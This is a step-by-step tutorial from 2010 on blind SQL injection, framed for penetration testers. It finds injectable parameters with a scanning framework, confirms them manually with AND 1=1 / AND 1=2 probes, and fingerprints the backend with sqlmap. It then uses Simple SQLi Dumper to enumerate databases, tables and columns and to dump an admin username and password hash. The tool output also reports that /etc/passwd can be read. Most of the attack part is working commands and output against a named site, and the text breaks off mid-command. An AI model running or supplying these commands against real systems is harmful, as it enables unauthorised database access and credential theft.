Easy Method: Blind SQL Injection

16-05-2010

Author: Mohd Izhar Ali
Email: johncrackernet@yahoo.com
Website: http://johncrackernet.blogspot.com

Table of Contents

1. Introduction

Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather than getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.

The attacker provides your database application with some malformed data, and your application uses that data to build a SQL statement using string concatenation. This allows the attacker to change the semantics of the SQL query. People tend to use string concatenation because they don't know there's another, safer method, and let's be honest, string concatenation is easy, but it's wrong step. A less common variant is SQL stored procedures that take a parameter and simply execute the argument or perform the string concatenation with the argument and then execute the result.

Nowadays, it is very easy to perform Blind SQL injection compare to a few years ago because a lot of SQL injection tools available on the Internet. You can download it from security website or hacker website and use it to test for MySQL, MSSQL or Oracle. By using these automated tools, it is very easy and fast to find holes or bugs for SQL injection or Blind SQL injection from a website.

In this article, I will show you how to find and perform Blind SQL injection testing using several tools. By using these methods, you can complete your testing in less than 10 minutes and it is very useful method especially for penetration testers or security consultants who have to complete their penetration testing in certain period of time. You can finish your penetration testing and get the better results using the simple methods.

2. Finding Vulnerable URL

Before you can perform Blind SQL Injection testing, you must find a vulnerable URL or path from the website where you can inject malicious code or character to the vulnerable parameter on the website. You need to find out why your website is vulnerable to Blind SQL injection before you can perform SQL injection attack to the vulnerable parameter. To find a vulnerable URL path, you can use **hackinganyway.py** to find possible Blind SQL injection:

Step 1: You must run hackinganyway.py python script. Enter 1 for this option:

```
##############################################
# PENETRATION TESTING FRAMEWORK PRE RELEASE#
# Copyright (C) 2009 By Ashikali             #
# HACKING ANYWAY FRAMEWORK V 1.0             #
# General Menu                               #
# Ashikali1208 [at]yahoo[dot]com             #
# www.Ashikali.com                           #
# GNU General Public License                 #
##############################################
Enter 1 For Let Me In Framwork
Enter 2 For View Special Thanks Page
Enter 3 For Download Resource
Enter 4 For About This Frameworks
Enter 5 For Credit Page
Enter 6 For Exit Completely
Enter Your Choice Here: 1
```

Step 2: Select 4 if you want to use proxy option.

```
################################################
#   PENETRATION TESTING FRAMEWORK PRE RELEASE  #
#   Copyright (C) 2009 By Ashikali             #
#   HACKING ANYWAY FRAMEWORK V 1.0             #
#   PROXY SECTION                              #
#   Ashikali1208[at]yahoo[dot]com              #
#   www.Ashikali.com                           #
################################################
Do You want To Use Proxy??
Enter 1 For Enter In Main Menu With This Proxy
Enter 2 For Get The Proxy
Enter 3 For Taste The Proxy
Enter 4 For Load The Proxy
Enter 5 For Remove Proxy
Enter 6 For Change Proxy
Enter 7 For Help Of This Task
Enter 8 For Exit Fom Current Menu
Enter 9 For Exit Completely
Enter Your Choice Here: 4
```


Step 3: Enter proxy address and port.

Enter the Proxy Address Here: 127.0.0.1

Enter the Port Here: 3128

[+] Testing Proxy...

[-] Proxy: 127.0.0.1:3128 Successfully Loaded

Process Done Please Press Any key To Go Back In Previous Menu...

Step 4: Select 1 option to go to Main Menu

```
##################################################
#   PENETRATION TESTING FRAMEWORK PRE RELEASE    #
#   Copyright (C) 2009 By Ashikali               #
#   HACKING ANYWAY FRAMEWORK V 1.0               #
#   PROXY SECTION                                #
#   Ashikali1208 [at] yahoo [dot] com            #
#   www.Ashikali.com                             #
#   GNU General Public License                   #
##################################################
Do You want To Use Proxy ??
Enter 1 For Enter In Main Menu With This Proxy
Enter 2 For Get The Proxy
Enter 3 For Taste The Proxy
Enter 4 For Load The Proxy
Enter 5 For Remove Proxy
Enter 6 For Change Proxy
Enter 7 For Help Of This Task
Enter 8 For Exit Fom Current Menu
Enter 9 For Exit Completely
Enter Your Choice Here: 1
```

Step 5: Select option 2 for Evaluating the Vulnerability of Target

```
################################################
#  PENETRATION TESTING FRAMEWORK PRE RELEASE   #
#  Copyright (C) 2009 By Ashikali              #
#  HACKING ANYWAY FRAMEWORK V 1.0              #
#  Main Menu                                   #
#  Ashikali1208[at]yahoo[dot]com               #
#  www.Ashikali.com                            #
#  GNU General Public License                  #
################################################
Enter 1 For Gathering Basic Information Of Target
Enter 2 For Evaluating The vulnerability Of Target
Enter 3 For Brute Forcing To The Target
Enter 4 For Encryption
Enter 5 For Attacking
Enter 6 For Supported Tools
Enter 7 For Help Or Detail
Enter 8 For Changing, Removing Proxy Or For Exit From Current Menu
Enter 9 For Exit Completly
NOTE:- Currently You Are Using Proxy 127.0.0.1:3128
Enter Your Choice Here : 2
```


Step 6: Select option 3 to find Blind SQL injection from a website.

```
################################################
#  PENETRATION TESTING FRAMEWORK PRE RELEASE   #
#  Copyright (C) 2009 By Ashikali              #
#  WEB APPLICATION SCANNING                    #
#  Ashikali1208[at]yahoo[dot]com               #
#  www.Ashikali.com                            #
#  GNU General Public License                  #
################################################
Enter 1 For Port Scanning
Enter 2 For Finding SQL Injection From Website
Enter 3 For Finding Blind Injection From Website
Enter 4 For Finding Local File Includation From Website
Enter 5 For Finding Remote File Includation From Website
Enter 6 For Finding Cross Site Scripting From Website
Enter 7 For CGI Scanning
Enter 8 For Help Of This Task
Enter 9 for for exit from Current menu
Enter 10 For Exit Completly
NOTE:- Currently You Are Using Proxy 127.0.0.1:3128
Enter which op u wana perform : 3
```

Step 7: Enter the website name that you want to test.

```
Enter Your Site Name Here: www.mywebsite.com
If Web Identify Sucsessfully Its Will logged at webscan.txt you May check the log after scanning finished
Woot Woot Massage will Idntify That Web Is Vulnarable
[-]Saving response length for blind sqli
at:http://www.mywebsite.com/viewnews.php?pageid=2+order+by+1--
[-]Saving response length for blind sqli at: http://www.mywebsite.com/viewnews.php?
pageid=2+order+by+300--
[+]W00t !! Found Possible Blind sqli Bug at: http://www.mywebsite.com/viewnews.php?
pageid=2+order+by+300--
[+]Possible server's hole saved at webscan.txt
[-]Saving response length for blind sqli at: http://www.mywebsite.com/news3.php?
pageid=118+order+by+300--
[+]W00t !! Found Possible Blind sqli Bug at:http://www.mywebsite.com/news3.php
?pageid=118+order+by+300--
[+]Possible server's hole saved at webscan.txt
[-]Saving response length for blind sqli at: http://www.mywebsite.com/news2.php?
pageid=39+order+by+1--
[+]W00t !! Found Possible Blind sqli Bug at:http://www.mywebsite.com/news2.php
?pageid=39+order+by+300--
[+]Possible server's hole saved at webscan.txt
    Press Any key For Going Back...
```

Step 8: The results from webscan.txt file shows some possible Blind SQLi

```
[+]W00t!!Found Possible Blind sqli Bug at: http://www.mywebsite.com/viewnews.php?
pageid=2+order+by+300--
[+]W00t!!Found Possible Blind sqli Bug at: http://www.mywebsite.com/news3.php?
pageid=118+order+by+300--
```


3. Testing Vulnerable Parameter

From the results of testing in webscan.txt file above (in Chapter 2 -Step 8), we found some possible Blind SQL injection bugs at the targeted server and trying to proof that bugs. Let's say that you are auditing a web application server and found a web page that accepts dynamic user-provided values on GET or POST parameters or HTTP Cookie values or HTTP User-Agent header value. You now want to test for SQL injection vulnerability, and trying to exploit the vulnerability to retrieve as much as information from the web application's back-end database management system or even is able to access the underlying operating system. You must have a proof about the vulnerability that has been found by exploiting it until you will get the findings. To test a vulnerable parameter, you can use manual technique or automated tool.

Method 1: Testing Vulnerable Parameter by Using Manual Technique (Blind SQL)

To test a vulnerable parameter, you need to check an error webpage such blank page, blank picture or blank text during the testing and that page has a different from the original page.

From webscan.txt file, we are trying to test the first target URL:

http://www.mywebsite.com/viewnews.php?pageid=2

Assume that: when you add this string value, **+AND+1=1** after **2**, you should get a normal webpage and it is the same page as the original one.

*http://www.mywebsite.com/viewnews.php?**pageid=2+AND+1=1***

But when you add **1=2** or **1=0** after string value **2**, you should get an error webpage and it differs from the original page. For example, you will see a blank picture or no text when you add **1=2** and the end of the URL.

*http://www.mywebsite.com/viewnews.php?**pageid=2+AND+1=2***

It means that there is a possibility for SQL injection vulnerability at the **pageid GET** parameter of the **viewnews.php** page. It means that no web application firewall and no parameters' value sanitization are performed on the server side. This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system or on the web application programming language. It is a programmer code's security flaw.

Method 2: Testing Vulnerable Parameter by Using Automated Tools

To test a vulnerable parameter using automated tools, you can use some tools such as **sqlmap, bsqlbf-v2, darkjumperv5.7** and other tools. I will show you how to use sqlmap tool to test for output verbosity and injection parameter. **sqlmap** is an open source command-line automatic SQL injection tool and it is used to detect and take advantage of SQL injection vulnerabilities in web applications.

To test vulnerable parameter for BlindSQL injection, I'm using **sqlmap.py** to test the targeted URL above. You must understand and know how to use **sqlmap.py** tool. If you do not understand how to use it, you can refer to the Help menu that built-in together with this tool (Use ***sqlmap.py –h*** command to see Help menu)

```
E:\Izhar\Tool\SQL Injection\sqlmap-0.7>sqlmap.py -h
  sqlmap/0.7
  by Bernardo Damele A. G. <bernardo.damele@gmail.com>
Usage: E:\Izhar\Tool\SQL Injection\sqlmap-0.7\sqlmap.py [options]
Options:
 --version           show program's version number and exit
 -h, --help          show this help message and exit
 -v VERBOSE          Verbosity level: 0-5 (default 1)
Target:
  At least one of these options has to be specified to set the source to
  get target urls from.
  -u URL, --url=URL   Target url
  -l LIST             Parse targets from Burp or WebScarab logs
  -g GOOGLEDORK       Process Google dork results as target urls
  -c CONFIGFILE       Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url.
  --method=METHOD     HTTP method, GET or POST (default GET)
  --data=DATA         Data string to be sent through POST
  --cookie=COOKIE     HTTP Cookie header
  --referer=REFERER   HTTP Referer header
  --user-agent=AGENT  HTTP User-Agent header
  -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
  --headers=HEADERS   Extra HTTP headers newline separated
  --auth-type=ATYPE   HTTP Authentication type (value Basic or Digest)
  --auth-cred=ACRED   HTTP Authentication credentials (value name:password)
  --proxy=PROXY       Use a HTTP proxy to connect to the target url
  --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
  --delay=DELAY       Delay in seconds between each HTTP request
  --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
  --retries=RETRIES   Retries when the connection timeouts (default 3)
Injection:
These options can be used to specify which parameters to test for, provide custom injection payloads
and how to parse and compare HTTP responses page content when using the blind SQL injection
technique.
  -p TESTPARAMETER    Testable parameter(s)
```


--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--prefix=PREFIX Injection payload prefix string
--postfix=POSTFIX Injection payload postfix string
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
--excl-str=ESTRING String to be excluded before comparing page contents
--excl-reg=EREGEXP Matches to be excluded before comparing page contents

Techniques:

These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique.

--stacked-test Test for stacked queries (multiple statements) support
--time-test Test for time based blind SQL injection
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-test Test for UNION query (inband) SQL injection
--union-tech=UTECH Technique to test for UNION query SQL injection
--union-use Use the UNION query (inband) SQL injection to retrieve the queries output. No need to go blind

Fingerprint:

-f, --fingerprint Perform an extensive DBMS version fingerprint

Enumeration:

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS user's password hashes (opt -U)
--privileges Enumerate DBMS users privileges (opt -U)
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables (opt -D)
--columns Enumerate DBMS database table columns (req -T opt -D)
--dump Dump DBMS database table entries (req -T, opt -D, -C)
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell

File system access:

These options can be used to access the back-end database management system underlying file system.

--read-file=RFILE Read a file from the back-end DBMS file system
--write-file=WFILE Write a local file on the back-end DBMS file system
--dest-file=DFILE Back-end DBMS absolute filepath to write to

Operating system access:

This option can be used to access the back-end database management system underlying operating system.

--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell


```
  --os-pwn          Prompt for an out-of-band shell, meterpreter or VNC
  --os-smbrelay     One click prompt for an OOB shell, meterpreter or VNC
  --os-bof          Stored procedure buffer overflow exploitation
  --priv-esc        User priv escalation by abusing Windows access tokens
  --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
  --tmp-path=TMPPATH  Remote absolute path of temporary files directory
Miscellaneous:
  --eta             Display for each output the estimated time of arrival
  --update          Update sqlmap to the latest stable version
  -s SESSIONFILE    Save and resume all data retrieved on a session file
  --save            Save options on a configuration INI file
  --batch           Never ask for user input, use the default behaviour
  --cleanup         Clean up the DBMS by sqlmap specific UDF and tables
```

In **sqlmap.py** tool, it has an output verbosity options and verbose options can be used to set the verbosity level of output messages. There are six levels of output verbosity. The default level is 1 in which information, warnings, errors and tracebacks, if they occur, will be shown. Level 2 shows also debug messages, level 3 shows also HTTP requests with all HTTP headers sent, level 4 shows also HTTP responses headers and level 5 shows also HTTP responses page content.

In this example, I'm using level 1 option for checking information, warnings or errors.

```
E:\Izhar\Tool\SQLInjection\sqlmap-0.7>sqlmap.py-u"http://www.mywebsite.com/
viewnews.php?pageid=2" -v 1
  sqlmap/0.7
  by Bernardo Damele A. G. <bernardo.damele@gmail.com>
[*] starting at: 17:10:26
[17:10:27] [INFO] testing connection to the target url
[17:10:31] [INFO] testing if the url is stable, wait a few seconds
[17:10:35] [INFO] url is stable
[17:10:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[17:10:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[17:10:36] [INFO] testing if GET parameter 'pageid' is dynamic
[17:10:46] [INFO] confirming that GET parameter 'pageid' is dynamic
[17:10:51] [INFO] GET parameter 'pageid' is dynamic
[17:10:51] [INFO] testing sql injection on GET parameter 'pageid' with 0 parenthesis
[17:10:51] [INFO] testing unescaped numeric injection on GET parameter 'pageid'
[17:10:53] [INFO] confirming unescaped numeric injection on GET parameter 'pageid'
[17:10:54] [INFO] GET parameter 'pageid' is unescaped numeric injectable with 0 parenthesis
[17:10:54] [INFO] testing for parenthesis on injectable parameter
[17:10:57] [INFO] the injectable parameter requires 0 parenthesis
[17:11:19] [INFO] testing MySQL
[17:11:20] [INFO] confirming MySQL
[17:11:21] [INFO] retrieved: 9
[17:11:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 1.3.41
back-end DBMS: MySQL >= 5.0.0
[*] shutting down at: 17:11:32
E:\Izhar\Tool\SQL Injection\sqlmap-0.7>
```


Besides that, there is an injection function in **sqlmap.py** tool. The injection function in **sqlmap.py** can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique. For testable parameter, by default sqlmap tests all GET parameters, POST parameters, HTTP Cookie header values and HTTP User-Agent header value for dynamicity and SQL injection vulnerability, but it is possible to manually specify the parameter(s) you want sqlmap to perform tests on comma separated in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s).

The example below shows that I will try to test for one parameter called **"pageid"** to check whether it is vulnerable or not. If you want to test more than one parameter, you can separate it by comma like this **"pageid, menuid, sid"**.

```
E:\Izhar\Tool\SQL Injection\sqlmap-0.7>sqlmap.py –u "http://www.mywebsite.com/
viewnews.php?pageid=2" -v 1 -p "pageid"
   sqlmap/0.7
   by Bernardo Damele A. G. <bernardo.damele@gmail.com>
[*] starting at: 17:15:41
[17:15:41] [INFO] testing connection to the target url
[17:15:45] [INFO] testing if the url is stable, wait a few seconds
[17:15:48] [INFO] url is stable
[17:15:48] [INFO] testing sql injection on GET parameter 'pageid' with 0 parenthesis
[17:15:48] [INFO] testing unescaped numeric injection on GET parameter 'pageid'
[17:15:50] [INFO] confirming unescaped numeric injection on GET parameter 'pageid'
[17:15:52] [INFO] GET parameter 'pageid' is unescaped numeric injectable with 0 parenthesis
[17:15:52] [INFO] testing for parenthesis on injectable parameter
[17:15:54] [INFO] the injectable parameter requires 0 parenthesis
[17:15:54] [INFO] testing MySQL
[17:15:55] [INFO] confirming MySQL
[17:15:59] [INFO] retrieved: 6
[17:16:08] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 1.3.41
back-end DBMS: MySQL >= 5.0.0
[*] shutting down at: 17:16:08
E:\Izhar\Tool\SQL Injection\sqlmap-0.7>
```

The result above shows that parameter **pageid** is vulnerable for injection. You can use the other functions in **sqlmap.py** to perform Blind SQL injection attack and you also can use the other tools such as **DarkJumperv5.7** and **darkMySQLi.py**. In this tutorial, I'm using the other tool called **SimpleSQLDumper v5.1** to perform blind injection attack.

4. Using Simple SQLi Dumper v5.1 for Blind SQL Injection

Simple SQLi Dumper v5.1 (SSDp) is an open source PHP MYSQL injection tool written in Perl scripting language. It is used to find bugs, errors or vulnerabilities in MySQL database. This tool is developed by Vrs-hCk from AntiSecurity Team (http://www.antisecurity.org).

To perform Blink SQL injection attack, I used **SSDp** tool to attack the targeted URL above. You must understand and know how to use **SSDp** tool. If you do not understand how to use it, you can refer to the Help menu that built-in together with this tool (Use ***ssdp.pl –h*** command to see Help menu)

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -h
 [o]=================================================[x]
  |          Simple SQLi Dumper v5.1            |
  |            Coded by Vrs-hCk                 |
 [o]=================================================[o]
   Date : Sat May 15 17:01:47 2010
   Help Command: -h, -help, --help
  |-------------------------------------------------------------------------
|  | Usage: perl ssdp.pl [options]
  | -u [SQLi URL]      target with id parameter or sqli url with c0li string
  | -e [sqli end tag]   sql injection end tag (default: "--")
  | -d [database name]  this option should not be used (default: @@database)
  | -t [table name]     table_name
  | -c [columns name]   column_name (example: id,user,pass,email)
  | -s [space code]     SPACE code: +,/**/,%20 (default: "+")
  | -f [max field]      max field to get magic number (default: 123)
  | -start [num]        row number to begin dumping data
  | -stop [num]         row number to stop dumping
  | -where [query]      your special dumping query
  | -log [file name]    file name to save ssdp data (default: ssdp.log)
  | -p [http proxy]     hostname:port
  | -magic            Find Magic Number                  [MySQL v4+]
  | -info             Get MySQL Information              [MySQL v4+]
  | -dbase            Concat Databases                   [MySQL v5+]
  | -table            Concat Tables                      [MySQL v5+]
  | -column           Concat Columns                     [MySQL v5+]
  | -tabcol           Concat Tables with Columns         [MySQL v5+]
  | -find             Search Columns Name                [MySQL v5+]
  | -dump             Dump Data                          [MySQL v4+]
  | -brute            Fuzzing Tables & Columns           [MySQL v4+]
  Please read ssdp-examples.txt for more info :)
```


From the targeted URL that I have tested in Chapter 3 above, I found vulnerability at the parameter **pageid** is vulnerable for injection. So, I used this vulnerable page (***URL:*** *http://www.mywebsite.com/viewnews.php?pageid=2) to* test with **SSDp** tool. Use this command to find the magic number for null columns in the database:

./ssdp.pl –u "URL" –magic

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl –u http://www.mywebsite.com/
viewnews.php?pageid=2 -magic
[o]=================================================[x]
 |          Simple SQLi Dumper v5.1            |
 |             Coded by Vrs-hCk                |
[o]=================================================[o]
   Date : Sat May 15 17:03:51 2010
   Help Command: -h, -help, --help
[+] URL: http://www.mywebsite.com/viewnews.php?pageid=2
[+] End Tag: --
Attempting to find the magic number...
[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
[+] Field Length: 18
[+] Magic Number : 1,3,4,7,8,10,11,12,13,14,15,16,17,18
[+] URL Injection:
http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,
8,9,10,11,12,13,14,15,16,17,18

 Showing MySQL Information ...
[+] Database: johnwebsite
[+] User: johncrackernet@www.crackernet.org
[+] Version: 5.0.45-log
[+] System: redhat-linux-gnu
[+] Access to "mysql" Database: No
[+] Read File "/etc/passwd": Yes (w00t)
[+] Create File "/tmp/c0li-19.txt": Yes (w00t)
 Done.
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>
```

From the testing result above, I found a total of 18 columns for database. But, column number *1,3,4,7,8,10,11,12,13,14,15,16,17,18* are null column. From SQL Server perspective, a NULL is not a value, it only means that a value was not provided when the row was created. These null columns will give advantage to the attacker to test SQL injection. The results above shows ***URL injection*** and you can see a word ***c0li*** from this URL. Based on the SSDp perl script, ***c0li*** function will try to concatenate supplied strings using MySQL CONCAT function, test hash database, generates hex representation of string and other functions to the null column number 1.

This command will gather information about MYSQL. Use this command to gather the information about MYSQL:

./ssdp.pl –u "URL Injection" –info

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -u
http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,
8,9,10,11,12,13,14,15,16,17,18 -info
 [o]=================================================[x]
  |          Simple SQLi Dumper v5.1             |
  |             Coded by Vrs-hCk                 |
 [o]=================================================[o]
    Date : Sat May 15 17:09:43 2010
    Help Command: -h, -help, --help
 [+] c0li SQLi URL:
http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,
8,9,10,11,12,13,14,15,16,17,18
 [+] SQLi End Tag: --
 Showing MySQL Information ...
 [+] Database: johnwebsite
 [+] User: johncrackernet@www.crackernet.org
 [+] Version: 5.0.45-log
 [+] System: redhat-linux-gnu
 [+] Access to "mysql" Database: No
 [+] Read File "/etc/passwd": Yes (w00t)
 [+] Create File "/tmp/c0li-19.txt": Yes (w00t)
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>
```

This command will gather information about database. Use this command to gather the information about MYSQL database:

ssdp.pl –u "URL Injection" –dbase

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -u http://www.mywebsite.com/
viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
-dbase
 [o]=================================================[x]
  |          Simple SQLi Dumper v5.1             |
  |             Coded by Vrs-hCk                 |
 [o]=================================================[o]
    Date : Sat May 15 17:11:45 2010
    Help Command: -h, -help, --help
 [+] c0li SQLi URL: http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+
ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 [+] SQLi End Tag: --
 Showing databases ...
 [+] DATABASES(2): johnwebsite,reserve
 Done.
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>
```


This command will dump the database tables for MYSQL. Use this command to dump MYSQL database table:

ssdp.pl –u "URL Injection" –d "Database Name" –table

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -u http://www.mywebsite.com/
viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
-d johnwebsite -table
[o]=================================================[x]
 |          Simple SQLi Dumper v5.1            |
 |            Coded by Vrs-hCk                 |
[o]=================================================[o]
   Date : Sat May 15 17:15:36 2010
   Help Command: -h, -help, --help
[+] c0li SQLi URL: http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+
ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
[+] SQLi End Tag: --
[+] Database Name: johnwebsite
[+] Number of Tables: 10
Showing tables...
[1] tra_reg(6)
[2] tra_events(6)
[3] tra_code(4)
[4] banner_ach(6)
[5] cal_file(4)
[6] cal_msg(13)
[7] cal_msg_backup(13)
[8] cal_name(2)
[9] cal_memo(2)
[10] usersecurity(4)
Done.
```

This command will dump the columns from MYSQL database tables for table number 10 (***usersecurity***). Use this command to dump specific column from MYSQL database table:

ssdp.pl –u "URL Injection" –d "Database Name" –t "Table Name" –column

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -u http://www.mywebsite.com/
viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
-d johnwebsite -t usersecurity -column
[o]=================================================[x]
 |          Simple SQLi Dumper v5.1            |
 |            Coded by Vrs-hCk                 |
[o]=================================================[o]
   Date : Sat May 15 17:20:30 2010
   Help Command: -h, -help, --help
[+] c0li SQLi URL: http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+
ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
[+] SQLi End Tag: --
[+] Database Name: johnwebsite
```


[+] Table Name: usersecurity
[+] Number of Columns: 5
Showing columns from table "usersecurity"...
[+] usersecurity(1): user_id,username,password,admin
Done.

This command will dump all the tables with the columns from MYSQL database. Use this command to dump tables and columns for MYSQL database:

ssdp.pl –u "URL Injection" –d "Database Name" –tabcol

E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -u http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 -d johnwebsite -tabcol
[o]===[x]
| Simple SQLi Dumper v5.1 |
| Coded by Vrs-hCk |
[o]===[o]
Date : Sat May 15 17:47:27 2010
Help Command: -h, -help, --help
[+] c0li SQLi URL: http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
[+] SQLi End Tag: --
[+] Database Name: johnwebsite
[+] Number of Tables: 10
Showing Tables & Columns...
[1] tra_reg(6): id,tra_name,tra_lastname,tra_address,tra_passport,tra_state
[2] tra_events(6): events_id, events_title, events_url, events_desc, events_sched, events_status
*[3] tra_code(4): code,*item,adl,ingred
[4] banner_ach(6): id,id_uname, image,impressions,clicks,url
[5] cal_file(4): id,page_main,filename,code
[6] cal_msg(13): id,uid,m,d,y,start_time,end_time,title,text,id_text,apprro,website,email
[7] cal_msg_backup(13): id,uid,m,d,y,start_time,end_time,title,text,id_text,apprro,website,email
[8] cal_name(2):id,name
[9] cal_memo(2): id,memo
[10] usersecurity(4): user_id,username,password,admin
Done.
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>

This command will dump the data from MySQL database column that contain usernames and passwords because all of these data can be consider as valuable and confidential. It will try to get userid, username, password and admin id. Use this command to dump all data from the columns in MYSQL database table:

ssdp.pl –u "URL Injection" –d "Database Name" –t "Table Name" –c "Column Name" –start 0 –stop 10 –dump

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl –u http://www.mywebsite.com/
viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
-d johnwebsite -t usersecurity -c user_id,username,password,admin -start 0 -stop 10 -dump
[o]=================================================[x]
 |          Simple SQLi Dumper v5.1            |
 |             Coded by Vrs-hCk                |
[o]=================================================[o]
   Date : Sat May 15 18:10:29 2010
   Help Command: -h, -help, --help
[+] c0li SQLi URL:
http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,
8,9,10,11,12,13,14,15,16,17,18
[+] SQLi End Tag: --
[+] Database Name: johnwebsite
[+] Table Name: usersecurity
[+] Column Name: user_id,username,password,admin
[+] Data Count: 1
Dumping Data ...
[1] 1 : admin : 2ec20101734c754d : 1
[2] <no data>
[3] <no data>
[4] <no data>
[5] <no data>
[6] <no data>
[7] <no data>
[8] <no data>
[9] <no data>
[10] <no data>
[11] <no data>
Done.
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>
```

This command will dump the data from the specific column for the **"user_id=1".** Use this command to dump this data from the columns in MYSQL database table:

ssdp.pl –u "URL Injection" –d "Database Name" –t "Table Name" –c "Column Name" –where "Specific Data from Column" –dump


```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -u
http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,
8,9,10,11,12,13,14,15,16,17,18 -d johnwebsite -t usersecurity -c user_id,username,
password,admin -where "user_id=1" -dump
 [o]=================================================[x]
  |          Simple SQLi Dumper v5.1            |
  |            Coded by Vrs-hCk                 |
 [o]=================================================[o]
    Date : Sat May 15 18:14:53 2010
    Help Command: -h, -help, --help
 [+] c0li SQLi URL: http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+
ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 [+] SQLi End Tag: --
 [+] Database Name: johnwebsite
 [+] Table Name: usersecurity
 [+] Column Name: user_id,username,password,admin
 [+] Data Count: 1
 Special Dump Query: WHERE user_id=1
 Dumping 1 Data ...
 [1] 1 : admin : 2ec20101734c754d : 1
 Done.
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>
```

This command will dump the special data for **admin** username from the MYSQL database. Use this special dumping query to dump special data from the columns in MYSQL database table:

ssdp.pl –u "URL Injection" –d "Database Name" –t "Table Name" –c "Column Name" –where "Special Data from Column" –dump

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -u
http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,
8,9,10,11,12,13,14,15,16,17,18 -d johnwebsite -t usersecurity -c user_id,username,password,admin -
where "username=0x61646D696E" -dump
 [o]=================================================[x]
  |          Simple SQLi Dumper v5.1            |
  |            Coded by Vrs-hCk                 |
